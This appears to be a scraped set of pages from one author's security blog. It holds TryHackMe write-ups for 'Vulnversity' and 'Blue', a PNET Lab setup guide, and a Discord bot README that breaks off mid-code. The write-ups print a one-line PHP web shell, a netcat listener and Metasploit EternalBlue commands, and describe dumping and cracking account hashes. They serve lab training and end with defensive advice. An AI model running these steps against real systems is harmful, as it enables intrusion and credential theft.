- Do not keep the db and site in the same place
- Use another method for hashes and do not use md5 as it is very weak and obsolete

---

&nbsp;

> Thanks for reading my blog, I hope you liked it.

&nbsp;

* 💜 Access to more Writeups [--> WriteUps](https://aiskoa.vercel.app/writeup)


[WriteUp] - Doc (HackMyVM)


# "Vulnversity" Machine (TryHackMe)

[📝 Download Spanish PDF Report](https://drive.google.com/file/d/1gkD94lRSYaorLr0cYcpJn_2-CPHzUlEO/view?usp=sharing)

&nbsp;

> *Difficulty Level: ⭐*

&nbsp;

The following is the pentesting report for the **Vulnversity** machine from TryHackMe with an *Easy* difficulty.
It will cover the use of dirsearch (GoBuster or Dirbuster) to the use of Burp Suite Community.

Summary:

* Port scanning
* Vulnerability exploitation
* Remote Reverse Shell

**IMPORTANT** You must have a virtual machine or an auditing operating system with root privileges and an Internet connection.

## Methodology

* Reconnaissance
* Enumeration
* Vulnerability scanning and analysis
* Exploitation
* Post-exploitation

**Reconnaissance**: Answers the questions "What will be attacked?" and "What will be part of the test?"

**Enumeration**: All possible information is collected from what will be attacked to carry out the test without setbacks.

**Vulnerability scanning and analysis**: Identifies weaknesses in what will be attacked, ports, processes, services, among others.

**Exploitation**: Here the attack begins using all the above and with the correct tools.

**Post-exploitation**: Possible extra vulnerabilities are sought or what else can be attacked.

**Test Report**: Everything that is done during the audit is written down.

## Reconnaissance and Enumeration

During the pre-agreement, it was established that the Target machine is on the Network under the IP **10.10.167.123**, so this becomes **the target machine** and on our side our machine is represented with the IP **10.6.42.149**.

Thanks to this we proceed to send a ping to the victim machine and wait for a response.

Once we have the response from the victim machine, we confirm through the TTL that we are facing a **Linux** machine, we still do not know its distribution and version but we will know that later.

With this information we can proceed to launch the scan using **Nmap** and wait for it to give us the result, in this case we use a high *--min-rate* since we are in a controlled laboratory and we can launch multiple traces.

The command broken down:

| Field | Value |
| --- | --- |
| `-sV` | Tries to determine the version of the services that are running |
| `-p <x> or -p-` | Port scan for port `<x>` or all |
| `-Pn` | Disables host detection and open port scanning |
| `-A` | Enables OS and version detection, integrates more scripts |
| `-sC` | Scans the default Nmap scripts |
| `-v` | Verbose mode |
| `-sS` | TCP SYN port scan |
| `-sU` | UDP scan |

**Shell Commands:**

```bash
nmap -p- -sV 10.10.167.123 --min-rate 5000 -oN all_ports.nmap -Pn
```

![nmap scan](https://i.ibb.co/mrV98d3x/img2-0-0.png)

**Severity:** Medium
**Description:**
Once the previous command was executed, it showed us the following services running on the system.

* **21/tcp** FTP v3.0.5
* **22/tcp** SSH
* **139/tcp** SMB 4 NetBIOS-ssn
* **445/tcp** SMB 4
* **3128/tcp** HTTP-PROXY Squid v4.10
* **3333/tcp** HTTP Apache 2.4.41 Ubuntu

Here the vulnerabilities of the listed services are enumerated

* **21/tcp (FTP v3.0.5):** The FTP port is insecure and can be exploited **through anonymous authentication**, cross-site scripting, brute force attacks, and directory traversal attacks.
* **22/tcp (SSH)**: Although SSH is a secure remote access protocol, it can be vulnerable to **brute force attacks on SSH credentials** or the use of private keys to gain access to the target system.
* **139/tcp (SMB 4 NetBIOS-ssn):** The SMB (Server Message Block) protocol has historically been vulnerable to various types of attacks, such as remote code execution and privilege escalation. One of the most famous vulnerabilities is **EternalBlue (MS17-010)**, which affects SMBv1 and was exploited by the WannaCry ransomware.
* **445/tcp (SMB 4):** Similar to 139/tcp, port 445 is also associated with SMB and can be vulnerable to attacks like EternalBlue. In addition, it allows the enumeration of resources and users on a system, which can be exploited by attackers.
* **3128/tcp (HTTP-PROXY Squid v4.10)**: Proxy servers like Squid can be vulnerable to **code injection attacks**, insecure configurations, and exposure of sensitive information. It is important to keep versions updated and correctly configure access rules.
* **3333/tcp (HTTP Apache 2.4.41 Ubuntu):** The Apache HTTP server can be vulnerable to **SQL injections, cross-site scripting, and cross-site request forgery**. It is crucial to apply security patches and keep the software updated.

### Feat

We identified **6** open ports

* *What version of the squid proxy is running on the machine? A: 3.5.12*
* *Using the nmap -n switch, what will it not resolve? A: DNS*
* *What is the most likely operating system this machine is running? A: Ubuntu*
* *What port is the web server running on? A: 3333 (This is quite special, as websites usually run on port 80 (HTTP) or port 443 (HTTPS).)*

![Screenshot of Index page](https://i.ibb.co/nqjzgf0L/img3-1-0.png)

Now we know that a web service with apache is being hosted on port *3333*, which probably means we are facing the **PHP** web language, this is a backend language.

Using dirsearch we find the directories **/images**, **/css**, **/js**, **/fonts**, **/internal**. The first ones do not seem to be special since they correspond to style sheets, scripts, fonts and images, all this for the correct functioning of the page, but there is a directory that is different from the rest and this is **/internal**.

This directory is strange and we have to take a look at it.

```bash
dirsearch -u http://10.10.167.123:3333 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 150
```

![Fuzzing](https://i.ibb.co/k6r4LQLs/img3-2-0.png)

### Internal

**Description:**
Upon entering this address we realize that internal contains a form where files can be uploaded, in this form we realize that not just any file is allowed since it throws us the phrase **Extension not allowed** which means that only certain extensions should allow the file to be uploaded, looking through the page's code we realize that it is not possible to remove this extension filter from the frontend, which means that only the backend can be edited.

Therefore, we only have to find out what type of extension it is not possible to upload the file with.

![Internal front](https://i.ibb.co/LzFKgmQM/img3-3-0.png)

## Exploitation

### Reverse shell

**Description:**
Using Wappalyzer, WhatWeb or another tool or extension we confirm the use of PHP as the language for the website.

This means that we will try some allowed extension that allows us to have control of the server using php, which means that we will look for some php extension that allows it.

To identify which extensions are not blocked, we are going to fuzz the upload form. To do this, we are going to use BurpSuite.

To begin, create a wordlist with the following extensions: in: *.php, .php3, .php4, .php5, .phtml*

![Screenshot of wappalyzer](https://i.ibb.co/yF5w7Hmh/img4-0-0.png)

Using the intruder and sniffer in **Burbsuite** we managed to automate the php extensions and found one that is accepted by the extension filter.

By doing this we find that the allowed extension is **phtml** and thanks to this we know that it is possible to upload some malicious or corrupt file using this type of extension.

![Burbsuite capture](https://i.ibb.co/spCCXKr8/img4-1-0.png)

![Upload the phtml file](https://i.ibb.co/1Dc25Bz/img4-1-1.png)

## Post-Exploitation

**Severity:** Critical

Using dirsearch we discovered the **uploads** directory, in this are the files uploaded from the front.
So knowing this we try to upload a web shell to be able to execute commands, later we try with a more advanced shell using netcat.

As we see in the image we have control of the machine using the user **www-data** who is responsible for apache and the web service.
The next objective would be to escalate privileges to be able to escalate to the **root** user.

With netcat it is possible to create the reverse shell and be able to execute commands from the terminal, we just listen on some port and that's it.

To avoid this it is recommended to supervise the web code ensuring authorized connections.

We create or look for a tiny shell to test (*Simple HTTP Requests GET Method Shell*):

```bash
<?=`$_GET[0]`?>
```

This will give us as a result the execution of the command but from the browser.

![Tiny shell exec](https://i.ibb.co/gMgtGR5F/img4-2-0.png)

To see and execute commands more comfortably from our terminal we will have to create a more complete shell, assigning our ip and port.
And we listen on the same port.

```bash
nc -nlvp 1233
```

## Analysis and Conclusions

As we saw this machine its main problem was making the wrong configurations and leaving a form adrift that should not be seen by a visitor.
A simple form was also found where by uploading the file with the correct extension it was possible to upload the files and infect them with malicious code.

## Recommendations

* Make the appropriate configurations and programming of the web servers, especially in the front-end code.
* Make validations for authorized connection.
* Perform data sanitization in forms.
* Deny access to pages that only the site administrator should know.
* Create a **rate-limit** rule to avoid **fuzzing** and brute force recognition.
* Raise a waf or more advanced filters.- Make the appropriate configurations and programming of the web servers, especially in the front-end code.
* Update
* Use of Firewall
* Use some monitoring tool or SIEM/SOAR.

### Standard

It is recommended to follow the NIST standard, specifically NIST SP 800-53 and NIST SP 800-171.

* NIST SP 800-53: It is a catalog of security controls that cover what is necessary regarding system protection.
    o Limits who can access what (access control).
    o Restricts unnecessary services (attack surface reduction).
    o Ensures system configuration (hardening)
    o Applies patches on time (vulnerability management).
    o Protects and monitors.
    o Documents and responds to incidents
* NIST SP 800-171: Focuses on protecting information in company systems.
    o Strong authentication
    o Secure configurations on the equipment.

## Sources

* Simple PHP Webshell | yuyudhn’s notes. (2024, June 26). Linuxsec.org. <https://htb.linuxsec.org/backdoor-stuff/php-webshell>

### Glossary of Hacking Cybersecurity and Networks

I recommend reviewing my article on this to better understand the terms of this writeup.

🍁 Glossary of terms [--> Glossary](https://aiskoa.vercel.app/es/blog/glossary)

---

&nbsp;

> Thanks for reading my blog, I hope you liked it.

&nbsp;

* 💜 Access to more writeups [--> WriteUps](https://aiskoa.vercel.app/writeup)


[WriteUp] - Vulnversity (TryHackMe)


# Machine: Blue (TryHackMe)

&nbsp;

> *Difficulty Level: ⭐*

&nbsp;

Blue is a machine with a vulnerability in the SMB 445 protocol. EternalBlue allows remote code execution that was discovered in [MS17-010]

Summary:

* Port scanning
* Vulnerability exploitation (MS17-010 / EternalBlue)
* Remote Shell
* Privilege escalation to NT AUTHORITY\SYSTEM
* Password hash dumping using Hashdump
* Hash cracking with John the Ripper
* Flag searching

**At the end of the report I will give you a summary of the entire machine, in English and Spanish 🥳.**

**IMPORTANT** You must have a virtual machine or an auditing operating system with root privileges and an Internet connection.

## Methodology

* Reconnaissance
* Enumeration
* Vulnerability search and analysis
* Exploitation
* Post-exploitation

**Reconnaissance**: Answers the questions What will be attacked? and What will be part of the test?

**Enumeration**: All possible information about what will be attacked is collected to carry out the test without setbacks

**Vulnerability search and analysis**: Identifies weaknesses in what will be attacked, ports, processes, services among others.

**Exploitation**: Here the attack begins using all the above and with the correct tools.

**Post-exploitation**: Possible extra vulnerabilities or what else can be attacked are sought.

**Test report**: Everything that is done during the audit is written down.

## What is EternalBlue?

Eternal Blue is an exploit that was supposedly developed by the United States National Security Agency (NSA).
This program was stolen and then leaked by "The Shadow Brokers". It was then used to execute one of the most damaging ransomware attacks in history, known as Wannacry.
The eternal blue virus program was designed to exploit a vulnerability registered as *CVE-2017-0144*, which corresponds to a security flaw in Microsoft's Server Message Block (SMB) protocol.
The security patch for this eternal blue virus vulnerability, called *MS17-010*, was released in March 2017.
The use of the eternal blue exploit mainly affected hospitals, police stations, and, in general, organizations around the world.

[Versions with MS17-010](https://support.microsoft.com/es-es/topic/c%C3%B3mo-comprobar-que-ms17-010-est%C3%A1-instalado-f55d3f13-7a9c-688c-260b-477d0ec9f2c8)
[CVE Versions](https://success.trendmicro.com/en-US/solution/KA-0008859)

&nbsp;

## Reconnaissance - Port scanning

Let's start with the reconnaissance phase.
Our IP is *10.8.42.68* and the target is *10.10.90.82*.

```powershell
ping -c 4 10.10.90.82
```

We verify that the destination has ICMP requests enabled.

```powershell
sudo su
```

```powershell
nmap 10.10.90.82 -p- -sV -oN all_ports.nmap -Pn --min-rate 5000
```

Windows usually uses a default TTL value between 126 and 128. Linux and Unix-like systems usually opt for a default TTL value between 62 and 64.

Therefore, we infer that we are facing a machine with Windows as the operating system. Once the above has been identified, we will proceed to perform a port scan using the nmap tool.

Port scanning allows us to identify which services are running within the asset and thus subsequently identify vulnerabilities.

The 445/tcp port for microsoft-ds Windows 7 is open, this is the port through which the vulnerability will be exploited.

&nbsp;

## Enumeration

Using Nmap, the command *nmap 10.10.90.82 -p- -sV -oN all_ports.nmap -Pn --min-rate 5000* is used where the options are:

* *-p-*: Scans all ports (from 1 to 65535).
* *-sV*: Detects service versions on open ports.
* *-oN all_ports.nmap*: Saves the results to a file named all_ports.nmap that can be read later.
* *-Pn*: Skips ping scan and assumes the host is up.
* *--min-rate 5000*: Sets a minimum rate of 5000 packets per second, speeding up the scan (it should be noted that this causes a lot of noise).

![EscaneoBlue.png](https://i.postimg.cc/XYTQptyK/scanblue.png)

We discover that it responds to JON-PC and confirm that it uses Windows 7 as its operating system.

Thanks to this scan we identify the ports:

* **135/tcp (MSRPC)**: Related to the Windows RPC service.
* **139/tcp (NetBIOS-SSN)**: It is used to share files and devices on local networks.
* **445/tcp (SMB)**: Like NetBIOS, it allows sharing files, printers, directories and other resources between devices on a network.
* **3389/tcp (RDP)**: The RDP protocol allows remote connection to computers through a graphical interface. It is essential for remote administration.
* **49152-49160/tcp (dynamic MSRPC)**: These ports are related to dynamic RPC allocation.

&nbsp;

## Vulnerability search and analysis

From all these ports discovered by Nmap we can identify how they can be exploited, for example:

* **135** responds to msrpc which can be exploited by attacks such as **Pass the-Hash** or vulnerabilities in the DCOM service, also found are *CVE-2023-24869*, *CVE-2023-24908*, *CVE-2023-23405* identified in 2023 that allow Remote Code Execution (RCE).
* **139** responds to netbios-ssn which if it contains a misconfig can lead to **Credential enumeration** attacks.
* **445** responds to smb which can be exploited with **EternalBlue** or **SMBGhost** in certain versions. For Linux, *CVE-2025-37899* recently discovered by OpenAI's o3 model was found.
* **3389** responds to rpd, this allows **Brute Force** attacks or vulnerabilities such as **BlueKeep** for Remote Code Execution, also identified is vulnerability *CVE-2022-21990*, which allows **Unauthenticated Connection**.

**It is decided that port 445 will be the one to exploit.**

Port 445 hosts the SMB protocol, this is found on a Windows machine,
we realize that this protocol can be vulnerable using EternalBlue or SMBGhost which respond to CVE-2017-0144 and CVE-2020-0796 both used by the WannaCry and NotPetya ransomware.

### What is Packet crafting?

Packet Crafting is a technique used in cybersecurity where packets are manually created or manipulated to exploit vulnerabilities in a network or system. This method allows customizing network traffic to carry out various malicious activities, such as network reconnaissance, denial of service attacks, or data exfiltration.

Technique that uses the manipulation or creation of TCP/IP packets to bypass security systems or carry out spoofing attacks.

## Exploitation

We start with the attack, already knowing the vulnerability, in this case we will use **Metasploit** with the **EternalBlue** exploit.

Inside metasploit we will search for the EternalBlue vulnerability based on its Rank or Description.

```powershell
msfconsole

> search ms17-010

or 

> search eternalblue

> use exploit/windows/smb/ms17_010_eternalblue

or 

> use 0

> show options
```

Subsequently we will configure the *show options* options, here we are asked for certain mandatory and optional parameters to start the attack.

We proceed to configure the necessary parameters such as the asset IP and the attacking IP and port.

![showoptions](https://i.postimg.cc/k5TQX1FP/shwop.png)

```powershell
> set RHOSTS 10.10.90.82
> set LPORT 65000
> set LHOST 10.8.42.68

> run
```

Once the configuration is complete, we proceed with the execution of the exploit, the objective is to obtain a meterpreter session.

![runBlue](https://i.postimg.cc/wBGz4Cn3/bluaat.png)

The meterpreter session has started, so the exploit worked correctly.
We realize that it is a Windows 7 Professional build 7601, which has been discontinued in updates in January 2020.

We can see the list of commands which have many options that allow us to interact with the asset, one of them is **screenshare**.

![blueHelp](https://i.postimg.cc/L88rdytP/bluehlp.png)

![screenshare](https://i.postimg.cc/XqvwNyQs/scrteen.png)

![screenBlue3](https://i.postimg.cc/sD7pjycd/screen3.png)

So we decided to invoke a remote terminal to be able to interact with the asset.

We realize when executing the whoami command that we are the user **NT/AUTHORITY/SYSTEM**

## What is the NT/AUTHORITY/SYSTEM user?

The NT AUTHORITY\SYSTEM user in Windows is a special account with elevated privileges that allows system services to operate with full access to local resources. It is more powerful than any standard administrator account and is used to run critical system processes.

This account is not associated with a user and is used for tasks such as file management, service execution, and access to protected resources. Similar to the root user in Linux.

Using PowerShell from our machines we can list the services that run under this account:

```powershell
Get-WmiObject win32_service | select Name, StartName | Where-Object {($_.StartName -eq "LocalSystem")} 
```

## Post-Exploitation

Now we are interested in having persistence or finding the hidden flags on the computer, although we can use advanced search tools or create a new user with administrative privileges, we decided to use the existing user on the machine, JON.

Using hashdump we get the list of users hosted on the system with their respective password.

![hashdump](https://i.postimg.cc/02PQgDpY/image.png)

We can use online tools to decrypt the hash but we will use John The Ripper to decrypt passwords and the rockyou.txt dictionary we found that the password for user Jon is: **alqfna22**.

![johntheripper](https://i.postimg.cc/k4PVBZtZ/image.png)

Finally, using the RDP protocol on port 3389 that we observed was open during the enumeration phase, we connect using rdesktop.
Connecting to the Windows machine we realize that it is outdated, since it is an old Windows 7 update and therefore very vulnerable, that is why it was possible to use eternalblue so easily.

![desktop](https://i.postimg.cc/5NytN1Ry/image.png)

We found the evidence (flag3) inside System32/config which is where passwords are saved in Windows 7.

![flag3](https://i.postimg.cc/SNtcymmN/image.png)

## Recommendations

As noted throughout the report, the impact of this vulnerability is critical, therefore it is recommended to follow certain recommendations.

1. Update:
a. Install the security patch that Microsoft has provided MS17-010.
b. Install available Windows Update updates.
2. Disable unnecessary and/or vulnerable protocols:
a. From Programs and Features, “Turn Windows features on or off”, uncheck “SMB 1.0/CIFS File Sharing Support”
b. it can also be disabled from PowerShell using the command: *sc.exe config lanmanworkstation depend=bowser/mrxsmb10/mrxsmb20/nsi sc.exe config mrxsmb10 start= disabled*
3. Use of Firewall
a. Configure inbound rules only for necessary sources and ports.
4. Disable or secure RDP
a. Disable RDP in favor of “Connections with Network Level Authentication (NLA) only”, From control panel, System, “Remote access settings”.
b. Use strong passwords and 2FA if possible.
5. Use a monitoring tool or SIEM/SOAR.

### Standard

It is recommended to follow the NIST standard, specifically NIST SP 800-53 and NIST SP 800-171.

* NIST SP 800-53: It is a catalog of security controls that cover what is necessary regarding system protection.
    o Limits who can access what (access control).
    o Restricts unnecessary services (attack surface reduction).
    o Ensures system configuration (hardening)
    o Applies patches on time (vulnerability management).
    o Protects and monitors.
    o Documents and responds to incidents
* NIST SP 800-171: Focuses on protecting information in enterprise systems.
    o Strong authentication
    o Secure configurations on computers.

## Sources

* P. José Luis / Madrid, Spain. (n.d.). Packet crafting - GTI - Computer terminology glossary. T U G U R I U M. <https://www.tugurium.com/gti/termino.php?Tr=packet%20crafting>
* What is packet crafting? (2025, May 22). IT Certification Boot Camp Courses | Master IT Certifications Fast – Training Camp. <https://trainingcamp.com/glossary/packet-crafting/>
* <https://nvd.nist.gov/vuln/detail/cve-2017-0144>
* <https://nvd.nist.gov/vuln/detail/CVE-2025-29927>

### Hacking Cybersecurity and Networks Glossary

I recommend reviewing my article on this to better understand the terms in this writeup.

🍁 Glossary of terms [--> Glossary](https://aiskoa.vercel.app/es/blog/glossary)

---

&nbsp;
s
> Thanks for reading my blog, I hope you liked it.

&nbsp;

* 💜 Access to more writeups [--> WriteUps](https://aiskoa.vercel.app/writeup)

[WriteUp] - Blue (TryHackMe)


# Cybersecurity Fundamentals (Part 4)

&nbsp;

> *Difficulty Level: ⭐*

&nbsp;

I will show you how to set up a lab for network testing with PNET Lab from Windows, using VMware.

**IMPORTANT** to have VMware Workstation or VMware Player installed, SSH (if you still have it), FTP (Filezilla or WinSCP),

Firefox or a web browser that supports HTML5, enough space on the hard drive, an internet connection, and at least 8GB of RAM.

## What is PNET?

It is a platform designed to create and manage network simulation environments.

PNET Lab differs from other emulators in that it allows the installation and configuration of real network software on the created VMs,

offering a more realistic experience closer to a real network environment.

## What is Eve-ng?

It is an emulator that allows users to create and simulate complex network environments. It is an ideal tool for teaching and

learning networking, as it allows students to experiment with different

network configurations and protocols without the need for physical hardware.

&nbsp;

### Cisco Packet Tracer: Simulates networks based on Cisco devices

ADVANTAGES:  

- It is ideal for beginners, with an intuitive and easy-to-configure interface.  
- It is designed to align with programs like CCNA and CCNP.  
- You don't need a powerful computer to run it.  
- If you are enrolled in the Cisco Networking Academy.

DISADVANTAGES:  

- It does not include devices from other manufacturers.  
- Advanced functionalities, such as configuring real devices, are limited.  
- It does not support virtualization of real device images (like IOSv).

### PNETLab: Emulate complex networks with real device images

ADVANTAGES:  

- You can emulate devices from Juniper, Palo Alto, Fortinet, among others.  
- It uses real operating system images (IOSv, ASA) to simulate real devices.  
- You can create more complex and realistic topologies for business environments.  
- Ideal for advanced certifications such as CCNP, CCIE, or testing in heterogeneous networks.

DISADVANTAGES:  

- It requires a more powerful machine with enough RAM and CPU.  
- It is not as friendly for beginners.  
- You need to get the device images, which can be more complicated.

## CISCO PT vs PNET LAB

- For beginners or CCNA students, Cisco Packet Tracer is sufficient to learn basic concepts and use Cisco devices.  
- For advanced environments (CCNP, CCIE, or heterogeneous networks), PNETLab is ideal for its support for real images and multiple manufacturers.

### Benefits of a Laboratory

- 💫 **Secure environment:** They allow testing new configurations and technologies without affecting the real network
- 💫 **Flexibility:** They offer the possibility of creating a wide range of network topologies and test scenarios
- 💫 **Scalability:** They allow scaling virtual networks to a large size to test their performance and reliability.
- 💫 **Cost-effectiveness:** They are an economical alternative to creating physical networks for testing and training

It is necessary to have VMware Workstation or VirtualBox for the creation of the VMs and to have enough space.

## Preparation of the Test Environment

| Name | Description |
| --|--|
| 🐦 **VMware Workstation** | [LINK TO VMWARE](https://www.vmware.com/) |
| 🐦 **PNET Lab** | [LINK TO PNET](https://pnetlab.com/pages/download) |
| 🐦 **Windows Client Side Eve-ng** | [LINK TO EVE-NG](https://www.eve-ng.net/index.php/download/) |
| 🐦 **Kali Linux** | [LINK TO KALI](https://www.kali.org/get-kali/#kali-platforms) |
| 🐦 **UNET LAB DRIVE** | [LINK TO UNET LAB](https://drive.labhub.eu.org/) |
| 🐦 **DOCS** | [LINK TO DOCUMENTATION](https://www.eve-ng.net/index.php/documentation/) |

&nbsp;

## Step 1: PNET Installation

Download the PNET machine from the official site, you should get a **.OVA** that you will proceed to mount in VMware. At this time the file is called PNET_4.2.10.ova.

Once downloaded and mounted in you must activate nested virtualization as shown in the image.

![VMWARE](https://pnetlab.com/api/uploader/public/read?file=https://pnetlab.com/Local/pages/page_content/1/image_7.png)

Once that is done, turn on the machine, in it you will only see the terminal, enter the user **root** and the password **pnet**.

This will take you to the configuration screen, enter a password you want, in domain

it does not matter (unless you have one and want to use it), you select Static IP, and finally the time server, this will restart the machine.

Now in the IP that is shown on the PNET screen, enter it in your Windows browser:
Select the ONline option.
It will show you the login screen, in it you must create an account. PNET will redirect you to create an account.

Once you create it, you return to the login screen of the IP given by PNET in VMware.

![INICIOSE](https://i.ibb.co/27MzqwG4/Captura-de-pantalla-2025-03-02-172943.png)

When logging in, select **Console**.
The browser will show an alert message when sending the information, we will say to send it anyway since it is hosted by ourselves.

When you enter you will see something like this:

![PLA2](https://i.ibb.co/whNNfmCC/pla2.png)

Here the laboratories will be created, you will be able to monitor the status of the machine and more things.
Before creating a laboratory I will show you the next step.

## Step 2: Installation of Add-ons

On the Eve-ng page we will download the Windows Client Side.

![EVE-NG](https://i.ibb.co/CKDLrdYv/Pla3.png)

This is a pack of tools, in this pack you will find Wireshark, PUTTY, VNC and more, the versions are a bit old but they are useful.

You can also download the tools separately.

**IMPORTANT** Install VNC and Wireshark on the C:\ drive

## Step 3: Installation of addons

Now we will install the necessary addons, pnet is handled similarly to minecraft, that is, we will add mods to it.

We will install a Mikrotik RouterOS.

A simple way to download images is to use the ishare command.

Note: ishare in Pnet is obsolete so we will use ishare2 for this we will execute the following

command directly in pnet from vmware or through ssh from a terminal in

windows, which is simpler.

```powershell
wget -O /usr/sbin/ishare2 [https://raw.githubusercontent.com/ishare2-org/ishare2-cli/main/ishare2](https://raw.githubusercontent.com/ishare2-org/ishare2-cli/main/ishare2) > /dev/null 2>&1 && chmod +x /usr/sbin/ishare2 && ishare2
```

Now that you have ishare2 installed I will show you the next step.

## Step 4: Image Search

With this command we will search for images for qemu or others, several routers are handled with iol like cisco and linux images in qemu like kali.

```powershell
  ishare2 search all
  ishare2 search bin
  ishare2 search qemu
  ishare2 search dynamips
```

To download the images, the following command is used <number> is the ID that appears in the previous list.

```powershell
  ishare2 pull bin <number>
  ishare2 pull qemu <number>
  ishare2 pull dynamips <number>
```

and DONE! the image is downloaded, formatted according to the Eve-ng **DOCS** and the permissions are assigned automatically, super simple, isn't it?.

Another alternative is to use the UNET LAB Drive, there are the folders and the disks ready to be downloaded and used.

the images or disks must correspond with their format according to the Eve-ng documentation in **/opt/unetlab/addons/qemu/**

The only important thing is to check the status of the PNET machine and the remaining space.

https://github.com/pnetlabrepo/ishare2

## Step 5: Laboratory Creation

Now we will create the first laboratory, in the browser once logged in and inside. click on the icon to create a laboratory.

You will see a blank canvas and the PNET logo, just right-click and you will see several options. you must click on Node.

![PLA4](https://i.ibb.co/LXRmRWVR/pla4.png)

This will create a node, and you should see the systems or devices that you downloaded, in my case I downloaded a mikrotik.

![PLA5](https://i.ibb.co/TdFQ7FY/PLA5.png)

A panel with configurations for the router will be displayed, ram memory is assigned, etc. and that's it.

We will add a Kali, if you downloaded a Kali image from ishare2 you should already have it,

if you downloaded it in qemu from the page you should just drag it to /addons/qemu,

but if you downloaded the iso you will have to install the system with its disk (something I will show later).

Once mounted, just turn on the button and wait.
we double-click and we will see its QEMU interfaces, this is possible thanks to the Eve-ng tools of the Client Side.

![PLA6](https://i.ibb.co/bMD7194Q/pl6.png)

As you can see in the image in this example I already mounted a kali, an extremeos and a mikrotik,

but the kali has no internet connection, since the ping to google does not go out, well this is because a network output must be created.

## Step 6: Creation of Network Output

![PLA4](https://i.ibb.co/LXRmRWVR/pla4.png)

Now you will select the Network option

![PLA7](https://i.ibb.co/0RwDwPMP/pl7.png)

### Differences

**NAT (Network Address Translation):**

Purpose: Allows multiple devices on a local network (LAN) to use a single public IP address to connect to the internet.

How it works: It transforms the internal private IP addresses into a public IP address. When a device on the local network

sends data to the internet, the router changes the private IP address of the device to its public IP address.

When the data returns, the router performs the reverse translation.

Advantages: Improves security by hiding private IP addresses and allows the conservation of public IP addresses.

Common use: It is used in home routers and in companies to allow multiple devices to access the internet using a single public IP address.

**Bridge:**

Purpose: Connects two different local networks (LANs), allowing them to act as a single unified network.

How it works: A bridge receives data frames from one network and sends them to the other network. It does not change the IP addresses of the frames, it simply retransmits them.

Advantages: Extends the reach of a network without the need to change the configuration of the devices.

Allows direct communication between devices on different local networks.

Common use: It is used in larger local networks to connect different network segments, such as in an office that has multiple floors or areas.

And finally the **Management** option will allow you to be on the PNET network, that is, you can ping from the host to the

machine or connect by ssh to the PNET machine while inside PNET (how crazy is that).

To connect you just have to drag the cable, make the connection to the port and that's it.

As you can see in the image I am connected to the administration network on this machine.

!![PLA8](https://i.ibb.co/bjt50vnp/pl8.png)

> I know that all this is quite simple and my explanation was not the best but I try to detail it as clearly as possible..

---

&nbsp;

> Later I will show how to perform penetration tests on different systems in your laboratory.

&nbsp;

- 💜 Access to the [--> Blog](https://aiskoa.vercel.app/es/blog/)

### Thanks for reading

&nbsp;

### Sources

- 🔖 PNET and Eve-ng

PNET Lab Creation

Cybersecurity Fundamentals 3


![Cler](https://raw.githubusercontent.com/aiskoa/Cler/refs/heads/main/title.jpg)

# Cler

## Cler Discord multipurpose bot

**Cler** is a Discord bot to manage your server, it has multiple commands such as administration, utility and fun.

[Cler's Monitor](https://bit.ly/cler-bot)

[Invite Cler on your server](https://discord.com/oauth2/authorize?client_id=774150617546883073&permissions=8&scope=bot)

![Cler_Info](https://i.imgur.com/c7p8GwP.png)

## Latest Version and What's New

**v4.7.20**

## (Asynchronous Transfer Mode)

* Use the prefix. `c!` or the Slash `/` for moderation commands
* Bot in Discord.js v14.16.2

P.S.: If I abandoned this project it's because I got bored or made a better version.

![ClerAPPS](https://i.imgur.com/qs2J4eg.png)

## 💻 Installation

To install and run Cler locally, follow these steps:

1. **Clone the repository**:

    ```bash
    git clone git@github.com:aiskoa/Cler.git
    ```

2. **Navigate to the project directory**:

    ```bash
    cd Cler
    ```

3. **Create a .env configuration file inside the directory**:

    ```bash
    BOT_TOKEN=YOUR_BOT_TOKEN
    CLIENT_ID=YOUR_CLIENT_ID
    GUILD_ID=YOUR_GUILD_ID
    PREFIX='YOUR_PREFIX'
    COLOR='0x5e10f8'
    OWNER=YOUR_DISCORD_ID
    ```

4. **Install the dependencies**:

    ```bash
    npm install
    ```

5. **Run the global load command**:

    ```bash
    npm deploy-commands.js
    ```

6. **Run the start command**:

    ```bash
    npm start
    ```

    Go to your discord server where you invited your bot and run the /help command.

## Commands

Full list of commands in [Documentation](https://aiskoa.gitbook.io/cler)

Structure and Diagramming in [Github](https://github.com/aiskoa/Cler) Repository

## Admin / Mod

* `/mute  <@member> <reason>` Mutes the tagged member.
* `/unmute  <@member> <reason>` Unmutes the tagged member.
* `/set_mute  <@rol>` Defines the Mute role on the server **Important**.
* `/ban <@member> <reason>` Permanently bans the tagged member from the server.
* `/unban <@member>` Revokes the ban from the previous command.
* `/kick <@member> <reason>` Kicks the tagged member from the server.
* `/softban <@member> <reason>` Temporarily kicks the tagged member from the server for 7 days.
* `/warn <@member> <reason>` Warns the selected member

Full list of commands in [Documentation](https://aiskoa.gitbook.io/cler)

### Contextual commands

* `View Avatar` Sends a user's avatar Gif / Image.

Full list of commands in [Documentation](https://aiskoa.gitbook.io/cler)

---

### COMMAND WARN SLASH AND PREFIX

```javascript
const { SlashCommandBuilder, EmbedBuilder, PermissionFlagsBits } = require('discord.js');
const db = require('megadb');
const warnDB = new db.crearDB('warnings'); // Use crearDB to initialize the database

module.exports = {
  data: new SlashCommandBuilder()
    .setName('warn')
    .setDescription('Warns a server member.')
    .addUserOption(option =>
      option.setName('user')
        .setDescription('The user you want to warn')
        .setRequired(true))
    .addStringOption(option =>
      option.setName('reason')
        .setDescription('Reason for the warning')
        .setRequired(false))
    .setDefaultMemberPermissions(PermissionFlagsBits.ModerateMembers), // Warning permissions

  name: 'warn', // Name for commands with prefix
  description: 'Warns a server member.',
  
  async executeSlash(interaction) {
    const member = interaction.options.getMember('user');
    const reason = interaction.options.getString('reason') || 'No reason provided.';
    await this.warnMember(interaction, member, reason);
  },
  
  async executePrefix(message, args) {
    const member = message.mentions.members.first();
    const reason = args.slice(1).join(' ') || 'No reason provided.';
    if (!member) {
      //<a:denyxbox:1287542408082358292> are global emojis, uploaded from discord dev portal
      return message.reply('<a:denyxbox:1287542408082358292> | Please mention a valid user.');
    }
    await this.warnMember(message, member, reason);
  },

  async warnMember(context, member, reason) {
    const isInteraction = !!context.isCommand;

    // Check if it has warning permissions (only in prefixes)
    if (!isInteraction && !context.member.permissions.has('MODERATE_MEMBERS')) {
      return context.reply({ content: '<:win11erroicon:1287543137505378324> | You do not have permission to warn members.', ephemeral: true });
    }

    if (!member) {
      return context.reply({ content: '<:440warning:1287542257985126501> | Please select a valid member.', ephemeral: true });
    }

    try {
      // Try to send a direct message to the user
      try {
